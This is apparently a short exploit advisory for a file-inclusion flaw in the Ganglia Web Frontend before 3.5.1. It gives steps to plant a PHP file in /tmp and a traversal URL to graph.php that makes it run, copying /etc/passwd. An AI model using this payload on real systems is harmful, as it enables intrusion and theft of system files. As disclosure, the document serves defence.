1. Assuming that ganglia is installed on the target machine at this path:
/var/www/html/ganglia/

2. Assuming the attacker has minimal access to the target machine and 
can write to "/tmp". There are several methods where a remote attacker can 
also trigger daemons or other system processes to create files in "/tmp" 
whose content is (partially) controlled by the remote attacker. 

3. The attacker puts the contents of this PoC file into the file:
/tmp/attack.php

4. The attacker visits the Ganglia Web Frontend interface with version < 3.5.1 
as:
http://targetIP/ganglia/graph.php?g=../../../../tmp/attack&metric=DUMMY&title=DUMMY

5. Confirm that the PoC created a dummy file in the /tmp folder and copied 
/etc/passwd to /tmp.
